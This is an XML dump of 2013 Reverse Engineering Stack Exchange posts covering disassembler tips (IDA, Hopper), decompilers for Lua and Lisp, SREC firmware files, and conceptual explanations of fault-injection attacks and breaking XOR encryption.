  <row Id="2041" PostTypeId="2" ParentId="2039" CreationDate="2013-05-11T13:06:10.573" Score="8" Body="&lt;p&gt;Hard to say with so little info, but I suspect that you edited the data after it has already been parsed by the game code. You probably need to intercept the moment it arrives from the remote server and change it then.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-11T13:06:10.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2043" PostTypeId="2" ParentId="2036" CreationDate="2013-05-12T00:38:11.540" Score="9" Body="&lt;p&gt;If you just need to find the bytes you need to change in the original file, IDA shows the original file offset in the status bar. You can also check the opcodes in the Hex View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yg25E.png&quot; alt=&quot;Java file in IDA&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-12T00:38:11.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2044" PostTypeId="2" ParentId="1999" CreationDate="2013-05-13T09:50:22.970" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://www.immunitysec.com/resources-freesoftware.shtml&quot; rel=&quot;nofollow&quot;&gt;pyREtic&lt;/a&gt; from &lt;a href=&quot;http://www.immunitysec.com/&quot; rel=&quot;nofollow&quot;&gt;Immunity Sec&lt;/a&gt; can also provide some help in looking into original source code and perform modifications as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be interested in review the capabilities of the tool in this document:&#xA;&lt;strong&gt;&quot;&lt;a href=&quot;https://www.defcon.org/images/defcon-18/dc-18-presentations/RSmith/DEFCON-18-RSmith-pyREtic.pdf&quot; rel=&quot;nofollow&quot;&gt;pyREtic, In memory reverse engineering for obfuscated Python bytecode&lt;/a&gt;&quot;&lt;/strong&gt; by Rich Smith [PDF]&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="3234" LastEditDate="2013-12-07T22:07:00.567" LastActivityDate="2013-12-07T22:07:00.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2045" PostTypeId="2" ParentId="236" CreationDate="2013-05-14T14:52:22.340" Score="7" Body="&lt;p&gt;Install &lt;a href=&quot;http://wappalyzer.com/download&quot; rel=&quot;noreferrer&quot;&gt;Wappalyzer&lt;/a&gt; for Chrome or Firefox. If you want to know how it works, the &lt;a href=&quot;https://github.com/ElbertF/Wappalyzer&quot; rel=&quot;noreferrer&quot;&gt;source code is available&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zAfCO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-05-14T14:52:22.340" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2046" PostTypeId="2" ParentId="1898" CreationDate="2013-05-14T16:56:36.980" Score="4" Body="&lt;h3&gt;Fault Injection Attacks&lt;/h3&gt;&#xA;&lt;p&gt;Basically, we assume here that we have a black-box that produces an output using a known algorithm but with some unknown parameters. In the case of cryptography, the black-box could be a chip on a smart-card, the know algorithm could be a cryptographic algorithm and the unknown parameters would be the key of the algorithm which lies hidden in the chip (and never go out).&lt;/p&gt;&#xA;&lt;p&gt;In this particular setting, we can perform what we call a '&lt;em&gt;chosen clear-text attack&lt;/em&gt;', meaning that we can choose the inputs of the black-box and look at the output. But, lets also suppose that this is not enough to guess the unknown parameters (the key). So, we need a bit more to help us.&lt;/p&gt;&#xA;&lt;p&gt;Our second assumption will be that we are able to introduce errors at specific chosen phase of the known algorithm. Usually, when speaking about smart-cards, it means that we have a physical setup with a very precise timer linked to the smart-card clock and a laser targeting a physical register on the chip. Beaming up the register with the laser, usually reset the register (or may introduce some random values).&lt;/p&gt;&#xA;&lt;p&gt;The point of fault-injection is thus to study the effect of the injected fault on the cipher algorithm and to deduce some information about the value of the key.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the cipher algorithm used in the chip, the most interesting bits to reset in order to maximize the information collected about the key may vary a lot because the propagation of the error is not the same depending on the computation performed. So, each cipher algorithm need to be studied first, in order to know the best way to proceed in order to extract the key.&lt;/p&gt;&#xA;&lt;h3&gt;Types of Fault-injection Attacks&lt;/h3&gt;&#xA;&lt;p&gt;The different types of fault-injection analysis depends mainly on the accuracy with which you can control the error that you introduce (from the easiest to the most difficult):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Fully controlled error&lt;/strong&gt;: We suppose that we have a full control on the error. Basically, we can choose what is the content of the register and when to introduce the error in the algorithm.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Known error&lt;/strong&gt;: We suppose that we have a partial control on the error. Meaning that we know where it has been introduced and we know what is written in the register but we cannot choose it in advance.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unknown error&lt;/strong&gt;: We know exactly where, in the algorithm, the error has been introduced but we cannot control what is written nor have a knowledge of what has been written in the register.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Fully uncontrolled error&lt;/strong&gt;: We have no exact knowledge of what is written nor when it has been introduced in the algorithm.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Counter-measures&lt;/h3&gt;&#xA;&lt;p&gt;Countering fault-injection is, in fact, quite easy but costly. You only need to duplicate the circuits and check that the two circuits gives the same output when finished. If not, you just have to issue an error without leaking any information.&lt;/p&gt;&#xA;&lt;p&gt;Of course, in the case of a '&lt;em&gt;fully controlled error&lt;/em&gt;' attack, one can just duplicate the laser beam as well. But, usually, the '&lt;em&gt;fully controlled error&lt;/em&gt;' attack is an ideal case that is almost never reached in practice.&lt;/p&gt;&#xA;&lt;p&gt;More difficult to work around, in the case of the '&lt;em&gt;known error&lt;/em&gt;' attack, you can use the output of the chip (&lt;code&gt;output&lt;/code&gt; / &lt;code&gt;error&lt;/code&gt;) to guess the content of any register you want. You just need to perform attacks always on the same input until you get a normal &lt;code&gt;output&lt;/code&gt;, then you can store what you wrote on the register. And, thus, rebuild the value of the key.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, the cost of circuit redundancy on a chip is quite high, both in money and power-consumption. So, not all the chips can be equipped with this.&lt;/p&gt;&#xA;&lt;h3&gt;Other Related Attacks and Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;These attacks have to be compared (or combined) with '&lt;em&gt;side-channel attack&lt;/em&gt;'. Both attacks have a different approaches and use different assumptions on what is possible or not. Combining them allow to get way further in extracting information about the device that you study.&lt;/p&gt;&#xA;&lt;p&gt;Talking now about &lt;strong&gt;software reverse engineering&lt;/strong&gt;, I do not know any practical use of fault injection attack nowadays. But, I'm pretty confident that you can use this technique to guess the parameters of a know algorithm that has been obfuscated without having to dissect it in details. Somehow, any debugger can rewrite a register at precise time in the program (breakpoints) with a full control of what is written in the register (we are here in the case of the '&lt;em&gt;fully controlled error&lt;/em&gt;' attack). So, this can certainly be used in the case of usual obfuscated programs.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-05-15T14:34:37.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2047" PostTypeId="2" ParentId="1979" CreationDate="2013-05-15T12:46:10.350" Score="2" Body="&lt;p&gt;Although it doesn't support breakpoints, &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monito&lt;/a&gt;r is an excellent tool to monitor registry access. Using Filters you can easily choose which keys you want to include, exclude, highlight etc. It also allows you to view the stack trace of any event.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Process Monitor is an advanced monitoring tool for Windows that shows&#xA;  real-time file system, Registry and process/thread activity. It&#xA;  combines the features of two legacy Sysinternals utilities, Filemon&#xA;  and Regmon, and adds an extensive list of enhancements including rich&#xA;  and non-destructive filtering, comprehensive event properties such&#xA;  session IDs and user names, reliable process information, full thread&#xA;  stacks with integrated symbol support for each operation, simultaneous&#xA;  logging to a file, and much more. Its uniquely powerful features will&#xA;  make Process Monitor a core utility in your system troubleshooting and&#xA;  malware hunting toolkit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P1DcF.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3evMc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-05-15T12:46:10.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2048" PostTypeId="1" CreationDate="2013-05-16T15:20:57.973" Score="10" ViewCount="2209" Body="&lt;p&gt;Does anyone know of a decompiler for Common Lisp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know most lisp environments include a disassembler. But I don't know of any decompilers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think it should be possible to make a decompiler using the output of the various lisp environment disassemblers so as to not be dependent on the bytecode format.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="189" LastEditDate="2013-05-17T00:55:57.747" LastActivityDate="2014-01-01T12:10:27.833" Title="Common Lisp bytecode or machine code decompiler" Tags="|byte-code|decompiler|machine-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2049" PostTypeId="1" AcceptedAnswerId="2050" CreationDate="2013-05-16T16:17:12.610" Score="12" ViewCount="11203" Body="&lt;p&gt;Since &lt;code&gt;Lua&lt;/code&gt; is an interpreted/compiled language that its own compilers and isn't usually translated/compiled with a C compiler. What tools should be used to reverse engineer an application written in &lt;code&gt;Lua&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="53" LastEditDate="2017-04-28T12:58:20.347" LastActivityDate="2017-04-28T12:58:20.347" Title="Where can I find tools for reverse engineering Lua" Tags="|disassembly|tools|decompile|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2050" PostTypeId="2" ParentId="2049" CreationDate="2013-05-16T16:32:57.670" Score="7" Body="&lt;p&gt;If your application is compiled to a binary you might still be able to use normal debuggers like IDA. However, Lua has its own tools for decompiling from machine code and byte code. These links should be kept up to date by the Lua community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lua Wiki:&lt;/strong&gt; &lt;a href=&quot;http://lua-users.org/wiki/LuaTools&quot;&gt;LuaTools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need support for Lua 5.2 &lt;a href=&quot;https://github.com/mlnlover11/LuaAssemblyTools&quot;&gt;LuaAssemblyTools&lt;/a&gt; is the first to support that.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-05-16T16:32:57.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2051" PostTypeId="1" AcceptedAnswerId="2053" CreationDate="2013-05-17T13:29:00.033" Score="9" ViewCount="4459" Body="&lt;p&gt;I defined a struct in a header file, similar to this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct STRUCT&#xA;{&#xA;    char a;&#xA;    int b;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is parsed successfully by IDA, however it adds padding bytes after the &lt;code&gt;char&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 STRUCT          struc ; (sizeof=0x4)&#xA;00000000 a               db ?&#xA;00000001                 db ? ; undefined&#xA;00000002 b               dw ?&#xA;00000004 STRUCT          ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't remove the padding field using &lt;kbd&gt;u&lt;/kbd&gt;, so the question is: How can one remove padding fields automatically inserted by IDA, or how can one prevent IDA from creating padding fields?&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="1449" LastEditDate="2013-05-17T13:35:35.853" LastActivityDate="2013-05-17T13:43:16.147" Title="How to prevent automatic padding by IDA?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2052" PostTypeId="2" ParentId="2051" CreationDate="2013-05-17T13:33:39.750" Score="9" Body="&lt;h1&gt;removing undefined byte&lt;/h1&gt;&#xA;&lt;p&gt;click on an undefined padding byte, then with &lt;code&gt;Shrink struct&lt;/code&gt; (right-click menu, or &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;), choose how many bytes you want to remove - it automatically sets the right amount to the next defined offset.&lt;/p&gt;&#xA;&lt;h1&gt;preventing auto add&lt;/h1&gt;&#xA;&lt;p&gt;It depends on the parameter in the &lt;code&gt;Options/Compiler&lt;/code&gt; menu: Change the &lt;code&gt;default alignment&lt;/code&gt; to 1 to remove padding, then import your header&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-05-17T13:41:35.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2053" PostTypeId="2" ParentId="2051" CreationDate="2013-05-17T13:43:16.147" Score="13" Body="&lt;p&gt;You can use &lt;code&gt;#pragma pack(1)&lt;/code&gt; before the declaration.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-17T13:43:16.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2054" PostTypeId="1" CreationDate="2013-05-17T18:46:34.323" Score="11" ViewCount="1300" Body="&lt;p&gt;I have loaded a raw binary (ARM firmware image) into Hopper, and manually marked the entry point as code. But now I'd like to have Hopper do auto-analysis (recursive traversal) starting from that code region, and I can't figure out how to get it to do that (the way it would if I'd loaded a standard PE or elf binary). I can use &quot;Disassemble whole segment&quot;, but that seems to do a linear sweep of the entire (30M) binary, which results in a lot of garbage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-10-26T18:07:37.627" Title="Re-run autoanalysis in Hopper?" Tags="|tools|disassembly|hopper|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2056" PostTypeId="1" AcceptedAnswerId="2057" CreationDate="2013-05-19T06:10:18.827" Score="8" ViewCount="2135" Body="&lt;p&gt;When working with embedded systems, it is often easiest to use a downloadable firmware file rather than recover the firmware from the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly these are ROM images in the form of a .bin file. Sometimes, they are Motorola SREC files (often called .s19 files or .mot files). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are easily converted into bin files using many available tools. The SREC files tend to only contain records where there is actually data/code and the gaps are filled with padding values during conversion. Padding tends to be 0x00 or 0xFF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can gives us a hint about the data segment of the image - it allows us to tell if the memory has been initialised with 0x00/0xFF intentionally by the compiler/assembler, or if it is just padding. Sometimes this can make identifying data structures easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else an SREC file can leak?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2017-12-07T15:44:19.493" Title="Does a Motorola SREC file give me any additional information over a binary ROM image?" Tags="|firmware|embedded|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2057" PostTypeId="2" ParentId="2056" CreationDate="2013-05-19T12:22:30.817" Score="7" Body="&lt;p&gt;Correct me if I'm wrong, but since SREC is an ASCII representation of the binary data, wouldn't the corresponding binary file also &quot;leak&quot; sections of data that are padded with 0x00/0xFF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, yes, I think that in some cases SREC could expose useful information about the firmware that you wouldn't otherwise get with a binary image, assuming the vendor makes proper use of SREC's record types. Each line of text in an SREC file starts with a record code (S0, S1, S2, etc). Some example record types from &lt;a href=&quot;http://en.wikipedia.org/wiki/SREC_%28file_format%29#Format&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia's&lt;/a&gt; SREC page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The S0 record data sequence contains vendor specific data rather than&#xA;  program data. String with file name and possibly version info.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Data sequence, depending on size of address needed. A 16-bit/64K&#xA;  system uses S1, 24-bit address uses S2 and full 32-bit uses S3.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The address field of the S7, S8, or S9 records may contain a starting&#xA;  address for the program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clearly, an SREC file provides information about the data in each record - information which normally would not be contained in a binary file. If you see an S7/8/9 record for example, you can probably assume that the firmware's entry point is located there. Likewise, the use of S2 vs S3 can tell you if the data contains 24 bit addresses or 32 bit addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How common it is to use these different SREC record types in practice though, I couldn't say. A vendor could probably just mark everything with the same record type (S1 for example), which wouldn't really give you any more information about the data than a binary file would.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-05-19T12:22:30.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2058" PostTypeId="1" AcceptedAnswerId="10658" CreationDate="2013-05-19T18:45:53.677" Score="5" ViewCount="1972" Body="&lt;p&gt;&lt;a href=&quot;https://www.zynamics.com/binnavi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinNavi&lt;/a&gt; is originally a &lt;a href=&quot;https://www.zynamics.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zynamics&lt;/a&gt; product. But, since the company has been bought by Google, it seems to be difficult to get the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to look in the &lt;a href=&quot;https://www.zynamics.com/binnavi/manual/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinNavi manual&lt;/a&gt; in the &lt;a href=&quot;https://www.zynamics.com/binnavi/manual/html/installation.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;installation&lt;/a&gt; chapter. But, I couldn't find any way to get the source code or a binary package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any hope that the code or, at least, a binary form of BinNavi become available at some point ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, about the BinNavi API, is it possible to use BinNavi with other languages than REIL or is BinNavi hard linked with it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.zynamics.com/images/binnavi_screenshot_5.png&quot; alt=&quot;BinNavi Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.473" LastActivityDate="2015-08-21T18:27:00.053" Title="Is BinNavi available? If not, can I get the source from anywhere?" Tags="|tools|binary-analysis|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2059" PostTypeId="2" ParentId="2058" CreationDate="2013-05-19T19:47:51.073" Score="3" Body="&lt;p&gt;Go to &lt;a href=&quot;http://www.zynamics.com/software.html&quot; rel=&quot;nofollow&quot;&gt;http://www.zynamics.com/software.html&lt;/a&gt; and click &lt;code&gt;Add zynamics BinNavi to cart&lt;/code&gt;. This allows you to buy it via Google Wallet.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-05-19T19:47:51.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2060" PostTypeId="1" AcceptedAnswerId="2061" CreationDate="2013-05-19T22:33:29.790" Score="5" ViewCount="20970" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow&quot;&gt;Resource Hacker&lt;/a&gt; Application for Reverse Engineering purposes, I've cracked 3 softwares by using this software, but it doesn't grab all &lt;code&gt;.EXE&lt;/code&gt;, &lt;code&gt;.DLL&lt;/code&gt; files.&lt;br&gt;&#xA;sometimes It says, This is not a valid Win32 executable file, but I've provided it a valid Win32 File.&#xA;&lt;br&gt;&#xA;Any Solution please, Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2023" LastEditorUserId="53" LastEditDate="2013-05-20T13:55:50.987" LastActivityDate="2022-05-19T17:20:20.310" Title="Why my Resource Hacker doesn't work with some .EXE files" Tags="|windows|unpacking|executable|decompiler|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2061" PostTypeId="2" ParentId="2060" CreationDate="2013-05-19T23:14:03.510" Score="10" Body="&lt;p&gt;&lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;According to the developer of Resource Hacker&lt;/a&gt;, this product is discontinued (and hasn't been updated since Sep 2011):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I have been overwhelmed by the interest in Resource HackerTM, the&#xA;emails of thanks, encouragement and suggestions. It's been downloaded&#xA;many millions of times. However, I've moved on to other things and&#xA;have no plans to continue its development. Please don't ask for the&#xA;source code, I'm not releasing it, nor is it for sale. Colin Wilson&#xA;has written an open source Resource Editor which may interest those&#xA;looking for source code. Otherwise, Anders Melander has also created&#xA;another excellent Resource Editor which is still being developed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;While this is not a direct answer as to why Resource Hacker can't work with some PE files, you may follow the author's suggestion to try out the open-source &lt;a href=&quot;https://github.com/stefansundin/xn_resource_editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;XN Resource Editor&lt;/a&gt; or Anders Melander's &lt;a href=&quot;http://melander.dk/reseditor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;free Resource Editor&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you can reproduce the same issues in Colin Wilson's open-source XN Resource Editor, it may be much easier to inspect (via Delphi's debugger) and find the root cause.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2022-05-19T17:20:20.310" LastActivityDate="2022-05-19T17:20:20.310" CommentCount="3" CommunityOwnedDate="2013-05-19T23:14:03.510" ContentLicense="CC BY-SA 4.0" />
  <row Id="2062" PostTypeId="1" AcceptedAnswerId="2063" CreationDate="2013-05-20T16:44:55.427" Score="24" ViewCount="56131" Body="&lt;p&gt;I know that modern cryptographic algorithms are as close as they can to fully random data (&lt;a href=&quot;http://en.wikipedia.org/wiki/Ciphertext_indistinguishability&quot;&gt;ciphertext indistinguishability&lt;/a&gt;) and that trying to detect it is quite useless. But, what can we do on weak-crypto such as &lt;strong&gt;xor encryption&lt;/strong&gt; ? Especially if we can get statistical studies of what is encrypted ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the methods and which one is the most efficient (and under what hypothesis) ? And, finally, how to break efficiently this kind of encryption (only based on a statistical knowledge of what is encrypted) ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-10-12T19:21:50.670" LastActivityDate="2013-10-14T19:29:22.380" Title="What is the most efficient way to detect and to break xor encryption?" Tags="|cryptography|cryptanalysis|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2063" PostTypeId="2" ParentId="2062" CreationDate="2013-05-20T19:04:28.673" Score="16" Body="&lt;p&gt;XOR encryption with a short pad (i.e., shorter than the plaintext) is basically the Vigenère cipher. So &lt;a href=&quot;http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher#Cryptanalysis&quot;&gt;standard techniques to break Vigenère&lt;/a&gt; should break xor encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is that if the encryption key is &lt;strong&gt;d&lt;/strong&gt; symbols long, every &lt;strong&gt;d&lt;/strong&gt;-th symbol is encrypted with the same pad. Thus, take every &lt;strong&gt;d&lt;/strong&gt;-th ciphertext symbol and treat it like simple substitution cipher, break that and you have the 1st symbol of the key. Repeat for the &lt;strong&gt;d+1&lt;/strong&gt;-th ciphertext symbols, &lt;strong&gt;d+2&lt;/strong&gt;-th ciphertext symbols, etc. Eventually you will have all &lt;strong&gt;d&lt;/strong&gt; symbols of the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To break the &lt;a href=&quot;http://en.wikipedia.org/wiki/Substitution_cipher&quot;&gt;simple substitution&lt;/a&gt; ciphers, you might try brute force (if the symbol set is small) and compare possible plaintexts with the statistical data you know. For certain plaintexts (english language for example) you can often break most of it even quicker (e.g., with english language text the most frequent symbol in ciphertext probably maps back to an &lt;em&gt;e&lt;/em&gt;, etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you may be thinking, what if you don't know &lt;strong&gt;d&lt;/strong&gt;. Often with Vigenère, the length of the key is brute forced. Try d=1, d=2, d=3,... For each d, see how well the output plaintext matches the statistical data. Return the key for which the plaintext most closely matched the statistical data.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastActivityDate="2013-05-20T19:04:28.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2064" PostTypeId="2" ParentId="2062" CreationDate="2013-05-20T19:44:18.670" Score="13" Body="&lt;p&gt;In case of multibyte XOR frequency analysis is the way to go.&lt;/p&gt;&#xA;&lt;p&gt;As is commonly known, most frequent character in regular English text is E (etaoinshrdlu being the top 12) but in some cases space (0x20 in ascii) can be more frequent, especially in shorter messages.&lt;/p&gt;&#xA;&lt;p&gt;For executable code on the other hand, tho I can't find a reference, most frequent characters would be 0x00 or 0xFF both being common for integers. Do note that for executable code and binary files you can have some shortcuts. For example if you know that on some location in the ciphertext a 0x00 byte (or a sequence) MUST occur, it will leak the part of the key.&lt;/p&gt;&#xA;&lt;p&gt;In case of single byte XOR, the keyspace is limited to 256 characters obviously.&lt;/p&gt;&#xA;&lt;p&gt;There is a simple python tool by hellman called &lt;a href=&quot;https://github.com/hellman/xortool&quot; rel=&quot;noreferrer&quot;&gt;xortool&lt;/a&gt; which is particularly handy for CTF challenges :)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A tool to do some xor analysis:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;guess the key length (based on count of equal chars)&lt;/li&gt;&#xA;&lt;li&gt;guess the key (base on knowledge of most frequent char)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-10-14T19:29:22.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2065" PostTypeId="2" ParentId="2062" CreationDate="2013-05-21T03:25:38.010" Score="7" Body="&lt;p&gt;Just to add to the list. SANS posted a blog about a week ago on different tools for XOR encryption. The list is very good and it provides several tools, all which are good in my opinion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link : &lt;a href=&quot;http://computer-forensics.sans.org/blog/2013/05/14/tools-for-examining-xor-obfuscation-for-malware-analysis&quot;&gt;SANS Blog on XOR tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-05-21T03:25:38.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2066" PostTypeId="2" ParentId="2058" CreationDate="2013-05-21T10:58:15.060" Score="3" Body="&lt;p&gt;Tim Kornau here BinNavi developer. Yes the graphical part &quot;can&quot; be plugged on something else than REIL. The amount of work that is needed to do so should not be underestimated. &lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2013-05-21T10:58:15.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2067" PostTypeId="1" AcceptedAnswerId="2068" CreationDate="2013-05-21T21:03:33.103" Score="8" ViewCount="296" Body="&lt;p&gt;Instruction pipelining is used to execute instructions in a parallel fashion by dividing them into several steps .When I pause the execution in a debugger I am only able to see the location of the eip register but not the current pipeline state. Is there a way to find out ? &lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2013-05-21T23:00:19.457" Title="How to view the instruction pipeline?" Tags="|machine-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2068" PostTypeId="2" ParentId="2067" CreationDate="2013-05-21T22:39:01.030" Score="8" Body="&lt;p&gt;No, a debugger views code sequentially whereas a cpu may reorder code on the fly before it gets executed and even execute more than one instruction at a time. This is the case even for Simulators like Bochs. Simics on the other hand might implement something more in line with reality but I doubt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the pipeline is supposed to be transparent to the programmer. As execution wise it should function the same as a single cycle implementation even though the performance would be much different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the see the effect of passing different instructions through a pipeline what you want is a profiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a tool that will allow you to analyse the progress of the uOPs through the entire pipeline look for things like &lt;a href=&quot;http://marss86.org/~marss86/index.php/Home&quot;&gt;Marss86&lt;/a&gt; which simulates down to the uOp level and will allow you to see the goings on inside the pipeline at least of the architecture they simulate. Note that there are various implementations of the x86 pipelines and your simulator of choice may or may not implement the exact one you are intending to target.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-05-21T23:00:19.457" LastActivityDate="2013-05-21T23:00:19.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
